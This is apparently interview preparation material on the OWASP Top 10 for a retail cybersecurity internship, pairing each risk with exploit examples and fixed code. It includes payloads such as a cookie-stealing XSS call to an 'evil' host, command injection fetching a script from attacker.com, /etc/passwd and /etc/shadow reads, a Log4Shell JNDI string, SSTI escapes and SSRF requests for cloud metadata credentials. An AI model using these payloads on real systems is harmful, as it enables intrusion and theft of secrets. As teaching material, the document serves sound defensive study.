OWASP Top 10 and web security
Walmart Campus Grad Cybersecurity Intern — prep material Covers the JD line "Knowledge of OWASP Top 10, Burp Suite" and your resume: Gravitas payment workflow, CookOff portal, cross-tenant session-takeover fix (IDOR is the analogy, not the root cause).
1. Why Walmart Asks This
Walmart is the largest retailer on earth with a massive e-commerce surface: walmart.com, Sam's Club, Walmart Marketplace, Walmart Pay, Spark delivery, and thousands of supplier/associate portals. That means:
- Web attacks are business attacks. A single IDOR on an order API leaks customer PII at retail scale; a payment-workflow flaw moves real money; a stored XSS on a product review page hits millions of shoppers.
- Fraud and abuse are first-class threats. Gift-card draining, coupon abuse, card-testing, account takeover (credential stuffing), return fraud, and scalper bots. These are insecure design and auth failure problems, not just "hacking."
- Supply chain matters. Walmart ships via a huge CI/CD estate and consumes thousands of OSS packages — Log4j (
Log4Shell) was a real global fire drill. A06/A08 questions are natural. - Compliance. PCI-DSS (card data), CCPA/GDPR-style privacy, SOX-adjacent change control. Logging (A09) and crypto (A02) map directly to audit evidence.
Interview framing: don't recite the list; show you can test, prove, and fix. Walmart interviewers (per published loops) push on past projects — what you owned, what broke, what you'd change — so tie every answer to Gravitas/CookOff.
2. OWASP Top 10 (2021) — Every Item, Exploit + Fix
A01:2021 — Broken Access Control
The #1 risk. Authorization is checked client-side, or not at all. Covers IDOR/BOLA, path traversal, missing function-level access, forced browsing, CORS misconfig, privilege escalation.
What the flaw is. Every request asks three questions: who are you (authentication), what functions may you call (function-level authorization), and which specific records may you touch (object-level authorization). Broken access control is a failure of the second or third question, usually because the check lives in the UI — a hidden button, a greyed-out menu, a client-side role flag — instead of on the server. A server that verifies "this session is valid" and stops there will return record 1042 to any logged-in user who asks for it.
Why an attacker loves it. There is no payload to filter and nothing that looks abnormal — the request is well-formed and the response is a normal 200. Automation is trivial: increment an integer, swap a GUID, or fuzz a JSON field and harvest what comes back. At Walmart scale the gap between one customer's order and a bulk export of names, addresses, and order history is a loop and a few hours; this is the bug class behind BOLA (API1:2023), the top API risk.
Exploit — IDOR on an order (Gravitas-style payment workflow):
GET /api/v1/orders/1042/invoice HTTP/1.1
Authorization: Bearer <userA-token>
Server returns user B's invoice because it only checks is authenticated, not do you own order 1042.
How the exploit works, end to end. Suppose the handler looks the order up by primary key and never scopes the query to the caller:
# VULNERABLE — the session is valid, so the code assumes the request is legitimate
@app.get("/api/v1/orders/<int:order_id>/invoice")
@login_required
def invoice(order_id):
order = db.query("SELECT * FROM orders WHERE id = %s", (order_id,))
return send_file(order.invoice_path)
The attacker logs in and places an order to learn a valid ID (1041), then edits the request in Burp Repeater to 1042. The session token is genuine, the route exists, the SQL is parameterized, and nothing fails — but the query returns someone else's row. Replacing integers with GUIDs only makes IDs harder to guess; once the attacker observes one GUID in an API response the same swap works, so the fix is the ownership predicate, not an unguessable identifier.
Interview question you will get. "What is IDOR, and why are UUIDs not a fix?" Model answer: IDOR is reaching an object you do not own by changing its identifier. Unpredictable IDs raise the cost of discovery but never authorize anyone, so the real fix is a server-side ownership check on every lookup (WHERE id = %s AND user_id = %s), centralized deny-by-default authorization, 404 instead of 403 for objects the caller cannot see, and tests that replay one user's requests as another.
Exploit — path traversal:
GET /download?file=../../../../etc/passwd HTTP/1.1
GET /download?file=..%2f..%2f..%2fetc%2fpasswd
GET /static/....//....//web.config
Fixed — enforce ownership server-side, deny by default:
# VULNERABLE — also SQLi (see A03), not just missing authz
order = db.query(f"SELECT * FROM orders WHERE id = {order_id}")
# FIXED — object-scoped query + role check
order = db.query(
"SELECT * FROM orders WHERE id = %s AND user_id = %s",
(order_id, current_user.id),
)
if order is None:
abort(404) # 404, not 403 — don't confirm existence
# FIXED — path traversal defence
import os
BASE = "/srv/app/uploads"
safe = os.path.realpath(os.path.join(BASE, user_filename))
if not safe.startswith(BASE + os.sep):
abort(403)
send_file(safe)
Also: centralize authz in middleware, use indirect references (UUIDs/opaque tokens) as defence-in-depth, test with two accounts swapping every ID, and add automated authz tests.
A02:2021 — Cryptographic Failures
Sensitive data exposed due to weak/missing crypto. Previously "Sensitive Data Exposure."
What the flaw is. Data that is sensitive in transit or at rest is protected with something missing, outdated, or misused: no TLS on a segment, a broken hash, a cipher mode that leaks structure, or a key committed to source. The category is about protection failures, not a missing feature — TLS terminated at the wrong hop, an MD5 password column, and an AES-ECB-encrypted field are all "implemented" and all broken.
Why it matters here. A retailer handles card data (PCI-DSS), customer PII, and internal secrets in the same estate. A dumped password database is retried against every other account because customers reuse passwords, and one shared static AES key means a single leak decrypts every tenant at once. Crypto bugs are also quiet: nothing alerts until someone dumps the table.
Typical failures — each fact below with its consequence:
- Plaintext transport. Card or PII data crosses HTTP because TLS terminates at a load balancer and the back half is unencrypted; a Set-Cookie without Secure can be replayed over the same path.
- Broken password hashing. MD5/SHA-1 (or plaintext) falls to GPU hashcat at billions of guesses per second, and password reuse spreads the cracked list to every other site the customer uses.
- ECB mode. Identical plaintext blocks produce identical ciphertext blocks, so repeated fields and identical records leak even without the key — the classic "ECB penguin."
- Key handling. Hardcoded AES keys, static IVs and reused nonces, RSA/ECB/PKCS1Padding, and disabled certificate validation turn a sound algorithm into a broken system.
# VULNERABLE
hashlib.md5(password.encode()).hexdigest()
# FIXED — Argon2id (or bcrypt/ scrypt); per-user salt handled by the library
from argon2 import PasswordHasher
ph = PasswordHasher()
ph.hash(password)
ph.verify(stored_hash, password)
# FIXED — AEAD with random nonce
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
key = load_key_from_kms() # not in code
nonce = os.urandom(12) # unique per message
ct = AESGCM(key).encrypt(nonce, plaintext, associated_data=b"user:1042")
Checklist: TLS 1.2+ everywhere, HSTS, Secure/HttpOnly/SameSite cookies, secrets in a vault (not Git), encrypt at rest, key rotation, sslmode=verify-full on DB connections.
Interview question you will get. "Why is MD5 unacceptable for passwords even with a salt?" Model answer: MD5 is fast by design, so a GPU tests billions of candidates per second. A salt only defeats precomputed and shared-hash attacks, not offline cracking. Passwords need a memory-hard, deliberately slow hash — Argon2id at OWASP's baseline profile of 19 MiB memory, 2 iterations, 1 lane (or bcrypt with work factor ≥10, remembering its 72-byte input limit) — with a per-user salt, a pepper, rate limiting, and breach-password checks.
A03:2021 — Injection
Untrusted data interpreted as code. Sub-classes: SQLi, NoSQLi, XSS, OS command injection, SSTI, LDAP, XXE, ORM injection.
SQL Injection — four flavours you must name
What it is. SQL injection happens when a string the application builds is parsed as SQL because user input was concatenated into it instead of bound as a parameter. Once data and query text are the same string, the database cannot tell them apart: the attacker's quote closes a string literal and everything after it becomes syntax. The flaw is in how the query is constructed, not in the characters the attacker sends.
Why an attacker loves it. One parameter — a search box, a coupon code, a sort field — becomes read access to the schema, then to every row the database account can see, and on a bad configuration to files and OS commands (LOAD_FILE, xp_cmdshell, COPY TO PROGRAM). At Walmart scale, one injectable search endpoint is a path to the customer table.
| Type | How it works | Example payload | Signal |
|---|---|---|---|
| Error-based | DB error leaks in response | ' → You have an error in your SQL syntax |
Verbose errors |
| UNION-based | Append a second result set | ' UNION SELECT username,password FROM users-- - |
Extra rows/columns |
| Boolean-blind | True/false condition changes response | ' AND 1=1-- - vs ' AND 1=2-- - |
Content/length/status differs |
| Time-blind | Delay on true condition | '; SELECT pg_sleep(5)-- - (or WAITFOR DELAY '0:0:5' / SLEEP(5)) |
Response time |
| Second-order | Payload stored, executed later | Username admin'-- used in a later admin query |
Trigger in another flow |
The four response-observable flavours are error-based, UNION-based, boolean-blind, and time-blind; second-order is the fifth that surfaces in a different request. Second-order is the one that survives a careful code review, because the input is safely parameterized on the way in — it is stored as a username, then interpolated into a reporting or admin query that rebuilds SQL by string concatenation. Detection order in practice: send a single ' and watch for a 500 or SQL error, then a boolean pair, then a time delay, then an out-of-band Collaborator payload for fully blind cases. Always compare against a baseline response and repeat, because one slow response is jitter.
# VULNERABLE
cur.execute("SELECT * FROM users WHERE email = '" + email + "'")
# FIXED — parameterized query; input is data, never SQL
cur.execute("SELECT * FROM users WHERE email = %s", (email,))
// FIXED — ORM/query builder
const user = await db('users').where({ email }).first();
// If raw SQL is unavoidable in Sequelize:
sequelize.query('SELECT * FROM users WHERE email = :email',
{ replacements: { email }, type: QueryTypes.SELECT });
NoSQL injection is the sibling worth naming. If a JSON body is passed straight into a query object, the attacker controls operators, not just values:
// VULNERABLE — the body is trusted as a query
// Request: {"email": {"$ne": null}, "password": {"$ne": null}} matches the first user
db.collection('users').findOne({ email: req.body.email, password: req.body.password });
// FIXED — coerce/schema-validate to strings, compare the hash server-side
const email = String(req.body.email);
const user = await db.collection('users').findOne({ email });
if (!user || !(await bcrypt.compare(String(req.body.password), user.pw_hash))) deny();
Fix: validate types with a schema, reject $-prefixed keys from clients, never pass a raw body object as a query filter, and treat $where/$function as code execution.
Interview question you will get. "Why is an escaping library not the fix for SQLi?" Model answer: escaping is database- and context-specific, it is easy to apply to the wrong value, and it does not work for identifiers or ORDER BY columns. Parameterized queries remove the injection point entirely: the driver sends the query text and the values separately, so user input can never change the parsed statement.
XSS — three types
What it is. Cross-site scripting is untrusted input being interpreted as script by a victim's browser inside your origin. The browser cannot tell a product review from a script tag, so the app must; the flaw is either missing output encoding, a dangerous DOM sink, or a CSP that permits the injected code. There is no way to "escape" a payload up front — the encoding must match the context where the data is finally rendered.
Why an attacker loves it. A successful XSS runs with the victim's session and the site's origin, so it can read what the page can read, act as the user, and rewrite the page. A stored payload on a product review or support ticket page executes for every visitor until someone notices, which is the retail nightmare: one injection, millions of potential victims.
| Type | Where the payload lives | Typical source | Payload example |
|---|---|---|---|
| Reflected | Bounced straight back in the response | ?q=<script>… on search/error pages |
<script>fetch('//evil/?c='+document.cookie)</script> |
| Stored | Persisted server-side, hits every viewer | Comments, reviews, display names, support tickets | <img src=x onerror=alert(document.domain)> |
| DOM-based | Never touches the server; JS sinks | location.hash, document.referrer → innerHTML |
#<img src=x onerror=alert(1)> |
// VULNERABLE (DOM XSS)
document.getElementById('out').innerHTML = location.hash.slice(1);
// FIXED — textContent, or sanitize to a strict allow-list
document.getElementById('out').textContent = location.hash.slice(1);
How a reflected payload plays out. The search page renders q into HTML, so a link like https://shop.example/search?q=<script>fetch('//evil/c?'+document.cookie)</script> executes in the victim's origin as soon as they open it; the attacker never needs a button click, the link is the payload. Stored XSS is worse for a retailer because one review or display name sits in the database and executes for every shopper who views it. DOM XSS never reaches the server, so server logs cannot detect it; the classic pattern is a URL-controlled source (location.hash, document.referrer) flowing into a sink (innerHTML, document.write, eval).
Why the fix is about context, not payloads. The same string is inert in an HTML text node, breaks out of a quoted attribute, and becomes code inside a <script> block, so the encoder has to match the sink. That is why the answer interviewers want is context-aware encoding, safe DOM APIs, framework auto-escaping, sanitization only where HTML must survive, and a nonce-based CSP.
XSS prevention = context-aware output encoding + CSP + safe frameworks + cookie flags.
- HTML body: encode < > & " '.
- Attribute context: quote the value and encode all non-alphanumerics (" ' ` space).
- JavaScript context: use safe JSON serialization and escape ' as \u0027.
- URL context: encodeURIComponent.
- DOM API rule: never use innerHTML/eval/document.write on untrusted data; prefer textContent, or DOMPurify when HTML is a genuine product requirement.
- Framework rule: ASP.NET Razor and React/Vue auto-escape by default — audit the deliberate bypasses (dangerouslySetInnerHTML, v-html, [innerHTML]).
- Cookie rule: HttpOnly stops script reading the session cookie; a nonce CSP stops most injected inline script even if encoding is missed.
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-R4nd0mPerRequest';
object-src 'none'; base-uri 'none'; frame-ancestors 'none'
Interview question you will get. "You found a reflected XSS. How do you prove impact without attacking a real user?" Model answer: trigger a harmless marker (alert(document.domain) or a Collaborator callback), document the exact reflection context and whether encoding already applies, then explain the impact precisely — if cookies are HttpOnly, token theft is blocked, but the script still acts as the victim and can read non-HttpOnly storage and CSRF tokens. Then point to the context-aware encoder and the nonce CSP.
OS Command Injection & SSTI
# Command injection
?host=127.0.0.1; cat /etc/passwd
?host=$(curl attacker.com/s.sh|sh)
?host=127.0.0.1%0acat%20/etc/shadow # newline separator
?host=`id`
# SSTI (Jinja2/Twig, server-side template)
{{7*7}} -> 49 (detection)
{{config.items()}} -> app config leak
{{''.__class__.__mro__[1].__subclasses__()}} -> sandbox escape
Why an attacker loves command injection. The payload runs as the web application's own process — often a container with database credentials in its environment, network routes to internal services, and no MFA in front of it. The injection travels in an ordinary parameter (host, domain, filename), and only shell metacharacters (;, &&, |, backticks, $(), a newline as %0a) separate data from command. Blind variants still work: the attacker does not need output in the response, only a timing side channel (; sleep 5) or an out-of-band DNS/HTTP callback.
# VULNERABLE: subprocess with shell=True
os.system("ping -c 1 " + host)
subprocess.check_output(f"ping -c 1 {host}", shell=True)
# FIXED: list args, no shell, validate against allow-list
if not re.fullmatch(r"[A-Za-z0-9.\-]{1,253}", host):
raise ValueError("invalid host")
subprocess.run(["ping", "-c", "1", host], shell=False, timeout=5,
check=True, capture_output=True)
# VULNERABLE: template string built from user input
Template(user_input).render()
# FIXED: fixed template, user data passed as variables only
template = Template("Hello {{ name }}!")
template.render(name=user_input)
SSTI escalates because the template engine can reach the host language's object graph: once {{7*7}} evaluates to 49, the attacker walks classes (__class__.__mro__[1].__subclasses__()) to find os/subprocess and escape the sandbox. The only reliable fix is to keep the template fixed and pass user data as variables — never render user-controlled template source, and never build a template string from input.
Interview question you will get. "What is the single most important fix for OS command injection?" Model answer: stop invoking a shell. Pass an argument list with shell=False (execve-style), validate the value against a strict allow-list, and run the process with least privilege so a mistake is contained. A timeout and egress limits reduce impact but do not fix the bug.
LDAP / XPath Injection (checklist-required)
# LDAP: *)(uid=*))(|(uid=*
) (&(uid=user)(userPassword=pwd)) -> (&(uid=*)(uid=*))(|(uid=* (always true)
# XPath: '] | //user[//role/text()='admin' or '1'='1
' or '1'='1 -> //user[name='x' or '1'='1'] (all nodes)
Fix: never concatenate into filters — escape LDAP metacharacters (\\ * ( ) NUL) per RFC 4515 / use a library escaper, escape XPath quotes or use parameterised XPath/XQuery, and allow-list attribute/field names.
Why it is the same bug with different syntax. An LDAP filter such as (&(uid=user)(userPassword=pwd)) is a small query language, and the metacharacters *, (, ), \, and NUL let an attacker rewrite it. Injecting *)(uid=*))(|(uid=* collapses the filter to "match anything", which is an authentication bypass against directory-backed logins and a discovery path into the associate and supplier directories a large retailer maintains. XPath behaves identically against XML-backed stores: ' or '1'='1 turns a name= predicate into a tautology that returns every node. The fix in both cases is structural — bind values rather than concatenate, use the library's escaper for the exact syntax (RFC 4515 for LDAP), and allow-list attribute/field names so the attacker cannot choose what is queried.
A04:2021 — Insecure Design
New in 2021 and not fixable by better code — the design itself is flawed. Threat modelling, secure design patterns, testable requirements are the fixes.
Retail examples:
- Password recovery that leaks the secret. "Forgot password" returns or emails the existing password in cleartext — a recoverable secret by design, so a compromised inbox becomes account takeover.
- Client-supplied price at checkout. POST /cart {price: 1} makes the browser the authority on money; the server must look the price up itself (worked case below).
- No rate limiting on card validation. Card-testing and coupon brute force run at machine speed, and each success costs a chargeback rather than just a log line.
- No server-side inventory re-check. Oversell and coupon reuse become race conditions: two requests read the same "available" value and both act on it.
- Recovery flow reveals account existence. Different responses for known and unknown accounts turn the reset form into a free user-enumeration API.
- Worked retail abuse case: gift-card PIN endpoint with no rate limit → attacker brute-forces 4-digit PINs across many cards (low-and-slow to dodge per-IP limits); coupon redeem with no server-side idempotency → two concurrent POST /coupon/redeem requests both succeed (race). Fix = per-account + global velocity limits on PIN checks, single-use coupon enforced by a server-side atomic claim, idempotency keys on redeem.
# VULNERABLE: client-controlled price
total = request.json["price"] * request.json["qty"]
# FIXED: price looked up server-side; quantity re-validated
item = catalog.get(secure_item_id, tenant=current_tenant)
if not item or item.stock < qty or qty < 1 or qty > 10:
abort(400)
total = item.price * qty
Worked case study: price tampering on a cart
The checkout API accepts line items as JSON and computes the total from the values it receives:
POST /api/v1/cart/total HTTP/1.1
Host: shop.example
Authorization: Bearer <alice-token>
Content-Type: application/json
{"items":[{"sku":"TV-55","qty":1,"unit_price":1299.00}]}
The server replies {"total":1299.00}. In Burp Repeater the attacker changes unit_price to 1.00 — or sends a negative qty, flips the currency, or adds a discount_percent field — and repeats the request. If the order or payment intent is then created from that same client-supplied number, the attacker pays one dollar for a television and can repeat it, because the defect is systematic rather than a one-off. The same trust boundary appears in shipping choices, store credit, and coupon values.
The fix has three parts:
- Recompute server-side from the catalogue. The request carries only
skuandqty; the server derives price, promotions, tax, and shipping, then persists the total against the order ID and uses that stored value from then on. - Validate semantics, not only types.
qtymust be a positive integer within policy limits, unknown SKUs are rejected, and currency is server-selected. - Test the invariant. "Charged total equals server-computed total" is an abuse-case test, and an idempotency key stops one cart becoming two payments.
Interview question you will get. "Where would you look first for an insecure-design bug in a checkout flow?" Model answer: at every value the browser sends that the business terms depend on — price, discount, quantity, currency, shipping — plus the order state machine. If the client can set it, the design is wrong; recompute server-side, enforce transitions server-side, make money-moving operations idempotent, and log them.
Fix: threat-model every entry point (STRIDE, attack trees), define business invariants ("a coupon may be redeemed once"), enforce limits server-side, add abuse-case tests to CI.
Interview question you will get. "Why can't insecure design be fixed with better code?" Model answer: the code is doing exactly what the design says — trusting a client price, emailing a password, allowing unlimited PIN guesses. The defect is in the intended behaviour, so the fix is a design change (server-owned values, business invariants, rate limits) backed by threat modelling and abuse-case requirements; no amount of careful implementation repairs a wrong rule.
A05:2021 — Security Misconfiguration
Default creds, verbose errors/stack traces, directory listing, open cloud buckets, unnecessary features/ports, missing security headers, permissive CORS, DEBUG=True in prod, exposed .git/.env/Actuator/phpinfo().
What the flaw is. The code can be correct while the deployment is not: debug mode left on, default credentials unchanged, directory listing enabled, storage buckets public, or sample apps and admin consoles still reachable. It is the most common "boring" finding in real assessments, because insecure defaults are the path of least resistance and nobody re-checks them after launch.
Why it matters at scale. One open bucket, Actuator endpoint, or exposed .git directory can leak more than a chain of clever exploits, and the blast radius is every tenant at once. Scanners catch this class cheaply, but the durable fix is a hardened baseline expressed as code (CIS Benchmarks, Checkov/tfsec in CI) so configuration cannot drift per environment.
# FIXED — hardening headers + attack surface reduction
add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Content-Security-Policy "default-src 'self'; frame-ancestors 'none'" always;
server_tokens off; # hide version
autoindex off; # no directory listing
location ~ /\.(git|env) { deny all; }
# FIXED — Flask: never ship debug; generic error page
app.config["DEBUG"] = False
app.config["PROPAGATE_EXCEPTIONS"] = False
@app.errorhandler(500)
def err(e):
log.exception("unhandled") # detail to logs
return {"error": "internal error"}, 500 # generic to user
Also: change every default credential, remove sample apps, disable unused HTTP verbs/endpoints, patch baselines (CIS Benchmarks), and use IaC scanning (Checkov/tfsec).
Interview question you will get. "A production Flask app returns a stack trace. Which Top 10 item is that, and what is the fix?" Model answer: A05 security misconfiguration — debug/exception propagation leaks framework versions, file paths, and sometimes secrets. Turn debug off, return a generic error with a correlation ID, log the detail server-side, and enforce the setting in the deployment template.
A06:2021 — Vulnerable and Outdated Components
You don't write the bug — you inherit it. npm audit, pip-audit, mvn dependency-check, Snyk, Dependabot, SBOM (CycloneDX/SPDX) for inventory, and reachability analysis to cut noise.
Log4Shell (CVE-2021-44228), Dec 2021 — the canonical story:
- Log4j 2.0-beta9 → 2.14.1 performed JNDI lookups on log message content.
- One attacker-controlled string in a User-Agent, X-Api-Version, or username field → ${jndi:ldap://attacker.com/a} → server downloads and executes attacker-controlled Java. Unauthenticated RCE, internet-exposed, trivially weaponised.
- Why it was so bad: logging is everywhere; the string only had to reach any log statement; nested obfuscation (${${lower:j}ndi:...}) bypassed WAFs.
- Response playbook you should be able to describe: inventory with an SBOM/scan, prioritise by exposure (internet-facing + logging user input), patch to 2.17.1+ (2.15.0 was an incomplete fix — CVE-2021-45046; 2.16.0 fixed that but 2.17.0 was still vulnerable to CVE-2021-44832; use 2.12.4 / 2.3.2 for older branches), remove JndiLookup.class from the classpath as the reliable stopgap (log4j2.formatMsgNoLookups=true only covers 2.10–2.14 vs CVE-2021-44228 and does NOT mitigate CVE-2021-45046), hunt for post-exploitation (LDAP callbacks, whoami, crypto-miners, unusual egress).
- Related: Spring4Shell (CVE-2022-22965), Struts2 OGNL, XZ Utils backdoor (CVE-2024-3094) — supply-chain integrity.
Fixes: automated dependency scanning + SBOM in CI, pin/lock files, rapid patch SLA by severity, monitor CISA KEV, prefer maintained libraries, verify checksums/signatures.
Why the process is the answer. You do not control this bug, and the same issue can reappear through a transitive dependency. So the response interviewers want is mechanical: an SBOM generated in CI, SCA gating builds on high/critical findings, a patch SLA by severity, and reachability analysis so the team patches what actually executes. CISA KEV tells you what is already being exploited, which is where the SLA clock starts.
Interview question you will get. "A critical CVE drops in a library you use. Walk me through your first hour." Model answer: confirm the vulnerable version is in the build (SBOM/lockfile), decide whether the vulnerable path is reachable and internet-facing, apply the vendor patch or documented stopgap, rotate any credentials it could have exposed, then hunt for exploitation evidence in egress, proxy, and process logs.
A07:2021 — Identification and Authentication Failures
Weak or broken auth. Credential stuffing, brute force, session fixation, session hijacking, weak password reset, missing MFA, predictable tokens, user enumeration.
What to test, in order — each check maps to a Burp action:
- User enumeration. Send a valid and an invalid username and diff status, body, and timing; different errors ("Invalid username" vs "Invalid password") leak accounts, and so does a timing gap from hashing only on the valid branch.
- Reset-token quality. Check length/entropy (Sequencer), expiry, single use, and whether the token is bound to the user — a token that works for any account is full takeover.
- Session lifecycle. Is the ID regenerated on login (fixation)? Does logout invalidate it server-side (replay the old cookie in Repeater after logout)? Are HttpOnly/Secure/SameSite set, and are idle/absolute timeouts enforced?
- Brute force and lockout. Is there a per-account limit as well as a per-IP one, and does the lockout itself create a denial of service or an enumeration signal?
- Mass assignment. Add ?role=admin, "isAdmin": true, or "balance": 9999 to a signup/update request — if the framework binds it, that is A07 plus A01.
# FIXED — regenerate session on privilege change (kills session fixation)
from flask import session
session.clear()
session["uid"] = user.id
session["rotated_at"] = int(time.time())
# FIXED — constant-time compare for reset tokens
import hmac
if not hmac.compare_digest(stored_token, submitted_token):
abort(400)
Session-takeover fix (your resume story): the root cause was cross-tenant session takeover from session-store keying — the store was keyed without tenant/uid, so one tenant's session could resolve as another's. Fix = key sessions on (pool, uid) + fail-closed UID resolution (unresolvable UID denies, never falls through) + regression tests swapping sessions across tenants. IDOR is the analogy for the interviewer (missing ownership check → horizontal escalation), not the root cause. Harden with session rotation on auth change, HttpOnly/Secure/SameSite cookies, short idle/absolute timeouts, and server-side revocation on logout/password change.
Set-Cookie: SESSIONID=abc123; Secure; HttpOnly; SameSite=Lax; Path=/; Max-Age=1800
MFA (TOTP/WebAuthn), breach-password checks (HaveIBeenPwned API), CAPTCHA after N failures, uniform error messages, OAuth/OIDC state + PKCE — know these names.
Interview question you will get. "What is session fixation and how do you stop it?" Model answer: the attacker plants or predicts a session ID before the victim authenticates, then reuses the now-authenticated session. Fix it by discarding the pre-login session and issuing a fresh ID on every privilege change, rejecting session IDs passed in URLs or parameters, and rotating again after password/MFA changes — then add HttpOnly; Secure; SameSite and server-side revocation on logout.
A08:2021 — Software and Data Integrity Failures
Code/data trusted without verification. Insecure deserialization, unsigned updates, CI/CD tampering, typosquatting, dependency confusion.
What the flaw is. The application accepts serialized data — bytes that describe a whole object graph, including which class each object is and which fields to set — and rebuilds live objects from it. The dangerous part is not the data, it is the type information: deserialization invokes constructors and magic methods (__reduce__ in Python, readObject/readResolve in Java, __wakeup/__destruct in PHP) while parsing, so a crafted graph can call methods that were never meant to be exposed.
Deserialization RCE: pickle, Java ObjectInputStream, PHP unserialize(), .NET BinaryFormatter, and YAML with arbitrary constructors. If an attacker can supply serialized bytes, gadget chains turn data into code execution (ysoserial, __reduce__).
// VULNERABLE — attacker-controlled bytes become objects
ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
Object o = ois.readObject();
// FIXED — no native serialization from clients: use JSON with a strict schema
import com.fasterxml.jackson.databind.ObjectMapper;
ObjectMapper mapper = new ObjectMapper();
mapper.disableDefaultTyping(); // never activate default typing on untrusted data (deprecated in Jackson ≥2.10 — just leave it off)
OrderDto dto = mapper.readValue(json, OrderDto.class);
mapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, true);
# VULNERABLE
data = pickle.loads(request.body)
# FIXED — JSON + schema validation
data = json.loads(request.body)
validate(data, ORDER_SCHEMA)
How a gadget chain works. No single class has to be dangerous alone; the attacker chains classes already on the classpath — one whose deserialization calls another, ending at a method that runs a command or writes a file (ysoserial is a library of such chains). That is why "we only deserialize from a trusted internal queue" is weak: the reachable gadget classes are the entire dependency tree.
Interview question you will get. "Why is pickle.loads on untrusted data a critical finding rather than a style issue?" Model answer: pickle is a program, not a data format — it can reference arbitrary classes and execute code during unpickling, so a crafted payload gives RCE with the app's privileges. Replace it with a strict schema (JSON plus validation), keep native deserialization for fully trusted internal formats, and sign those blobs.
CI/CD integrity: protect build pipelines — branch protection + required reviews, signed commits, pinned GitHub Actions by SHA (not @v3), least-privilege CI tokens, no secrets in build logs, artifact signing (Sigstore/cosign), provenance (SLSA), and a hardened package registry (verified publishers, no dependency confusion). Attack idea to cite: a PR that edits .github/workflows/* to exfiltrate repo secrets — so workflow files need CODEOWNERS and approval.
A09:2021 — Security Logging and Monitoring Failures
Breaches take weeks/months to detect when logging is absent. A09 is about detectability, not exploitation.
Log (with the fields that make each event useful). - Authentication outcomes: success and failure, with username (pseudonymised) and source IP — failure-only logging cannot separate a typo from a stuffing campaign. - Authorization denials: every 403 or 404-on-ownership event, because that pattern is the signature of an IDOR/BOLA probe. - Account and privilege changes: lockouts, password/MFA changes, admin actions, and role grants — the audit trail PCI-DSS and SOX reviews ask for. - Money and inventory: payment, refund, and price changes, so fraud can be reconstructed from logs alone. - Session and token lifecycle: login, rotation, logout, revocation, plus security-header/token anomalies and client-side input validation failures. - Application errors (server-side): stack traces and their spikes, which double as attack signal.
Never log (each item is a liability, not just noise). - Credentials and secrets: passwords and encryption keys — logs get copied to SIEMs, laptops, and support tickets. - Session material: session tokens, cookies, bearer/JWT — anyone who can read logs can impersonate users. - Card data: full PAN and CVV, which also drags PCI-DSS scope into every system that stores them. - Unnecessary PII: email, SSN, and address are sensitive — tokenize or hash them, and never log full request bodies on auth endpoints.
# VULNERABLE — secrets and PII to disk
logger.info(f"login attempt user={email} password={password} card={pan}")
logger.info("request headers: %s", request.headers) # cookies/tokens leak
# FIXED — structured event, redacted, with correlation ID
logger.info(json.dumps({
"event": "auth.login.failure",
"user_hash": sha256(username.lower()), # pseudonymised, not raw PII
"src_ip": client_ip,
"request_id": g.request_id,
"reason": "bad_credentials",
}))
Then: ship to a SIEM, alert on thresholds (e.g. 20 failed logins/IP/min, impossible travel, new admin grants), retain per policy, protect logs from tampering (append-only/WORM, separate account), avoid log injection (encode newlines), and ensure clocks are synced (NTP) so timelines line up. PCI-DSS wants 12 months retention with 3 months immediately available.
Interview question you will get. "Your team logs everything to the SIEM. Why is that a problem?" Model answer: volume without structure hides the attack, and "everything" inevitably includes credentials, tokens, and PII — which expands compliance scope and turns the logging pipeline into a breach path. Log structured security events with correlation IDs, redact at the logger, alert on thresholds, and protect log integrity.
A10:2021 — Server-Side Request Forgery (SSRF)
Server fetches an attacker-chosen URL.
What it is. The server makes an outbound request to a URL the attacker chooses — a thumbnail fetcher, URL preview, image import, PDF renderer, or webhook tester. The response may never come back to the attacker; the value is the server's network position, which reaches admin interfaces, internal APIs, and cloud metadata.
?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
?url=http://169.254.169.254/latest/user-data
?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
?url=http://127.0.0.1:8500/v1/agent/self
?url=http://10.0.0.5:6379/ # internal Redis
?url=file:///etc/passwd
?url=gopher://internal:6379/_INFO
AWS metadata path that yields credentials: http://169.254.169.254/latest/meta-data/iam/security-credentials/<role> returns AccessKeyId, SecretAccessKey, Token. Capital One (2019) — SSRF via a misconfigured WAF → IMDS credentials → S3 exfiltration of ~100M records. That is the answer Walmart wants to hear.
Bypass tricks (know these to test):
- Alternate IP encodings: decimal 2852039166, hex 0xA9FEA9FE, octal, IPv6-mapped [::ffff:169.254.169.254], URL-encoded, shortened 169.254.43518.
- Redirect — allow-listed host 302s to 169.254.169.254; validation ran only on URL #1.
- DNS rebinding — resolve public at check time, link-local at connect time.
- CRLF injection, @ confusion (http://allowed.com@169.254.169.254/), case/encoding (http://169.254.169.254.nip.io).
Fixes (layered):
1. Allow-list destinations the feature actually needs (fail closed) instead of deny-listing private ranges.
2. Resolve the hostname once, validate the resolved IP is public, then connect to the pinned IP (keeps SNI/Host correct) — re-validate after every redirect, or disable redirects.
3. Block egress from app subnets to link-local/RFC1918 at the network layer; force outbound traffic through an egress proxy/firewall with no route to metadata.
4. IMDSv2 only (HttpTokens=required, hop limit 1) — requires a PUT token, defeating naive GET SSRF; GCP needs Metadata-Flavor: Google, Azure needs Metadata: true.
5. Least-privilege instance roles, no long-lived keys; shorten rotation and monitor MetadataNoToken.
# VULNERABLE
resp = requests.get(request.args["url"], timeout=5)
# FIXED — allow-list + validate ALL DNS answers + pin TCP to the validated IP.
# Check-then-requests.get(url) is TOCTOU: requests/urllib3 re-resolves DNS at
# connect time, so a record flipped to 169.254.169.254 after validation still connects.
from urllib.parse import urlparse
import http.client, socket, ssl, ipaddress
ALLOWED = {"images.example.com", "cdn.example.com"}
def _validated_ip(hostname):
infos = socket.getaddrinfo(hostname, 443, type=socket.SOCK_STREAM)
if not infos:
raise ValueError("blocked")
pinned = None
for _, _, _, _, sockaddr in infos:
ip = ipaddress.ip_address(sockaddr[0])
if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved or ip.is_multicast:
